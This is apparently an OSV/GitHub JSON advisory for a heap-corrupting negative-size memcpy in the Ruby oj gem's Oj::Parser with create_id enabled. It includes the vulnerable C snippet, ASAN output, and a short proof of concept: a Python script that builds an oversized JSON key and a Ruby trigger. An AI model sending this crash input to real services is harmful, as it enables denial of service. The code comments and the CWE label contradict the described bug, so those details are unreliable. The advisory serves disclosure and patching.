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5.5 KiB
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1 line
5.5 KiB
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{"schema_version":"1.9.0","id":"GHSA-9cv6-qcjw-4grx","published":"2026-06-19T20:47:23Z","modified":"2026-09-10T03:50:49.379821956Z","aliases":["CVE-2026-54900"],"summary":"Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling","details":"### Summary\n\n`Oj::Parser#parse` in usual mode with `create_id` enabled is vulnerable to heap corruption via a negative-size `memcpy`. When a JSON object key is exactly 65,535 bytes long, an integer truncation in `form_attr` (`usual.c:63`) converts the length to `-1` before passing it to `memcpy`. This causes `memcpy` to copy `SIZE_MAX` bytes (interpreted as a huge `size_t`), corrupting heap memory and crashing the process.\n\n### Version\n\n- **Software**: oj gem\n- **Affected**: all versions with `ext/oj/usual.c`\n- **Latest tested**: 3.17.1 (confirmed present)\n\n### Details\n\n`ext/oj/usual.c`, `form_attr`:\n\n```c\n// usual.c:55–64\nstatic ID form_attr(const char *str, size_t slen) {\n char buf[4096];\n // ...\n int blen = (int)slen + 1; // ← truncates: 65535 + 1 = 65536 → wraps to 0\n // or: 65535 cast to int = 65535 (fits),\n // but blen = 65536 → INT overflow on +1 if slen=INT_MAX\n // ...\n memcpy(buf, \"@\", 1);\n memcpy(buf + 1, str, (size_t)blen); // ← size_t(-1) = SIZE_MAX\n}\n```\n\nThe cache (`cache_intern`) uses a fixed 65,536-byte slab. When `slen = 65535`, the arithmetic wraps and `memcpy` is called with `(size_t)-1`.\n\nASAN report:\n```\n==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)\n #0 memcpy\n #1 form_attr /ext/oj/usual.c:63\n #2 cache_intern /ext/oj/cache.c:326\n #3 get_attr_id /ext/oj/usual.c:186\n #4 close_object_create /ext/oj/usual.c:374\n #5 parse /ext/oj/parser.c:693\n #6 parser_parse /ext/oj/parser.c:1408\n0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)\n```\n\n### Reproduce\n\nGenerate the payload:\n\n```python\nkey = 'A' * 65535\nwith open('poc.json', 'w') as f:\n f.write('{\"json_class\":\"Oj::Bag\",\"' + key + '\":1}')\n```\n\nTrigger:\n\n```ruby\nrequire 'oj'\nOj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)\n```","affected":[{"package":{"name":"oj","ecosystem":"RubyGems","purl":"pkg:gem/oj"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.17.3"}]}],"versions":["0.5","0.5.1","0.5.2","0.6.0","0.7.0","0.8.0","0.9.0","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.1.0","1.1.1","1.2.0","1.2.1","1.2.10","1.2.11","1.2.12","1.2.13","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.2","1.3.4","1.3.5","1.3.6","1.3.7","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.6a2","1.4.7","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.1.6","2.1.7","2.10.0","2.10.1","2.10.2","2.10.3","2.10.4","2.11.0","2.11.1","2.11.2","2.11.3","2.11.4","2.11.5","2.12.0","2.12.1","2.12.10","2.12.11","2.12.12","2.12.13","2.12.14","2.12.2","2.12.3","2.12.4","2.12.5","2.12.6","2.12.7","2.12.8","2.12.9","2.13.0","2.13.1","2.14.0","2.14.1","2.14.2","2.14.3","2.14.4","2.14.5","2.14.6","2.15.0","2.15.1","2.16.0","2.16.1","2.17.0","2.17.1","2.17.2","2.17.3","2.17.4","2.17.5","2.18.0","2.18.1","2.18.2","2.18.3","2.18.4","2.18.5","2.2.0","2.2.1","2.2.2","2.2.3","2.3.0","2.4.0","2.4.1","2.4.2","2.4.3","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.6.0","2.6.1","2.7.0","2.7.1","2.7.2","2.7.3","2.8.0","2.8.1","2.9.0","2.9.1","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.1","3.0.10","3.0.11","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.2","3.1.3","3.1.4","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.2","3.10.3","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.2","3.11.3","3.11.4","3.11.5","3.11.6","3.11.7","3.11.8","3.12.0","3.12.1","3.12.2","3.12.3","3.13.0","3.13.1","3.13.10","3.13.11","3.13.12","3.13.13","3.13.14","3.13.15","3.13.16","3.13.17","3.13.18","3.13.19","3.13.2","3.13.20","3.13.21","3.13.22","3.13.23","3.13.3","3.13.4","3.13.5","3.13.6","3.13.7","3.13.8","3.13.9","3.14.0","3.14.1","3.14.2","3.14.3","3.15.0","3.15.1","3.16.0","3.16.1","3.16.10","3.16.11","3.16.12","3.16.13","3.16.14","3.16.15","3.16.16","3.16.17","3.16.2","3.16.3","3.16.4","3.16.5","3.16.6","3.16.7","3.16.8","3.16.9","3.17.0","3.17.1","3.2.0","3.2.1","3.3.0","3.3.1","3.3.10","3.3.2","3.3.3","3.3.4","3.3.5","3.3.6","3.3.7","3.3.8","3.3.9","3.4.0","3.5.0","3.5.1","3.6.0","3.6.10","3.6.11","3.6.12","3.6.13","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.6.8","3.6.9","3.7.0","3.7.1","3.7.10","3.7.11","3.7.12","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.7.7","3.7.8","3.7.9","3.8.0","3.8.1","3.9.0","3.9.1","3.9.2"],"database_specific":{"last_known_affected_version_range":"< 3.17.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-9cv6-qcjw-4grx/GHSA-9cv6-qcjw-4grx.json"}}],"references":[{"type":"WEB","url":"https://github.com/ohler55/oj/security/advisories/GHSA-9cv6-qcjw-4grx"},{"type":"PACKAGE","url":"https://github.com/ohler55/oj"}],"database_specific":{"cwe_ids":["CWE-416"],"github_reviewed":true,"github_reviewed_at":"2026-06-19T20:47:23Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]} |